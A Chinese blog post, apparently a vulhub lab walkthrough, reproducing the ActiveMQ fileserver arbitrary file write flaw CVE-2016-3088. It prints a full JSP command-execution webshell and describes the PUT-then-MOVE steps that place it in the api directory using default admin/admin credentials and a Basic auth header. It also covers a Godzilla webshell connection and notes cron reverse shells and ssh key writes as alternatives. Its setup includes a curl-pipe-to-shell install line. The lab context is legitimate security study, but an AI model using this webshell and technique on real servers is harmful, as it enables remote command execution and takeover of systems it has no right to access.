任意文件写入漏洞复现(CVE-2016-3088)
Document
Vulhub是一个面向大众的开源漏洞靶场,无需docker知识,简单执行两条命令即可编译、运行一个完整的漏洞靶场镜像。旨在让漏洞复现变得更加简单,让安全研究者更加专注于漏洞原理本身。
安装docker
和docker-compose
后即可开始使用vulhub:
# If you don't have a docker installed, you'll need to install docker curl -s https://get.docker.com/ | sh # Use pip to install docker-compose pip install docker-compose # Entry vulnerability directory cd /path/to/vuln/ # Compile (optional) docker-compose build # Run docker-compose up -d
环境设置
输入以下命令构建并运行漏洞环境:
docker compose up -d
环境监听端口61616和端口8161,其中8161是Web控制台端口。此漏洞出现在Web控制台中。
访问 http://your-ip:8161/
查看网页,表明环境已成功运行。
背景资料简介
ActiveMQ Web控制台分为admin、API和fileserver三个应用,其中admin是管理员页面,API是接口,fileserver是存储文件的接口; admin和API需要登录后才能使用,fileserver不需要登录。
fileserver是一个REST风格的API接口。我们可以通过GET、PUT和NULL等HTTP请求读写存储在其中的文件。设计目的是为了弥补消息队列操作无法传输和存储二进制文件的缺陷,但后来发现:
它的使用率不高
文件操作容易出现漏洞
因此,ActiveMQ在5.12.x~5.13.x中默认关闭了fileserver应用程序(可以在conf/jetty.xml中打开);在5.14.0之后,fileserver应用程序被完全删除。
在测试过程中,要注意ActiveMQ的版本,防止白费力气。
漏洞详情
这个漏洞出现在Fileserver应用中,漏洞原理其实很简单,就是fileserver支持写文件(但不解析JSP),同时支持移动文件(MOVE请求)。因此,我们只需要写一个文件,然后通过使用移动请求将其移动到任何位置,从而导致任意文件写入漏洞。
y写文件,如cron或ssh密钥
编写Webshell
写文件,如cron或ssh密钥
编写库和配置文件,如jar或jetty.xml
写webshell的好处是方便,但是文件服务器不解析jsp,admin和API都需要登录才能访问,有点徒劳;写cron或者ssh key的好处是直接反向Shell,也方便,缺点是需要root权限;写jar,有点麻烦(需要jar后门),写xml配置文件,这种方法比较可靠,但是有一点是徒劳的:我们需要知道ActiveMQ的绝对路径。
我们来谈谈以上几种方法。
编写Webshell
正如我之前所说,Webshell需要在Admin或API应用程序中编写,并且这两个应用程序都需要登录才能访问。
默认的ActiveMQ帐户和密码是admin
。首先,访问http://your-ip:8161/admin/test/systemProperties.jsp 查看ActiveMQ的绝对路径:
然后上传Webshell
在网上找了个jsp的木马
<%@ page import="java.io.*" %>
<%
try {
String cmd = request.getParameter("cmd");
Process child = Runtime.getRuntime().exec(cmd);
InputStream in = child.getInputStream();
int c;
while ((c = in.read()) != -1) {
out.print((char)c);
}
in.close();
try {
child.waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
}
} catch (IOException e) {
System.err.println(e);
}
%>
使用burpsuite抓包上传
访问http://192.168.80.134:8161/fileserver/1.jsp,文件写入但是没有被执行
MOVE文件至可执行目录下
利用MOVE,将木马文件移动到api或者admin,我这边是移动到了api目录下
ActiveMQ的web控制台分三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口
将其移动到Web目录中的API文件夹(/opt/activemq/webapps/api/s.jsp
):
访问文件
http://192.168.80.134:8161/api/s.jsp
需要登录使用默认用户名admin和密码admin
查看到当前使用用户名为root
另一种方式
使用哥斯拉生成jsp脚本使用爆破上传
同样MOVE过去
用哥斯拉进行连接
URL=http://192.168.80.134:8161/admin/a.jsp
注意有效载荷和加密器的选择
因为上述的操作需要admin管理员的登录,所以我们需要在请求配置中加上认证头
Authorization: Basic YWRtaW46YWRtaW4=
测试连接成功
MOVE方法还是具有很大危险性的,慎用!
任意文件写入还有其他的思路:
写入webshell(修改jetty.xml只是为写入webshell排除掉admin和api需要登录的前提条件)
写入cron文件(定时反弹shell)
写入ssh key
在此献上大佬的文章,对手上述三种方法针对改漏洞都做出了详细过程的讲解
暂无评论
发表评论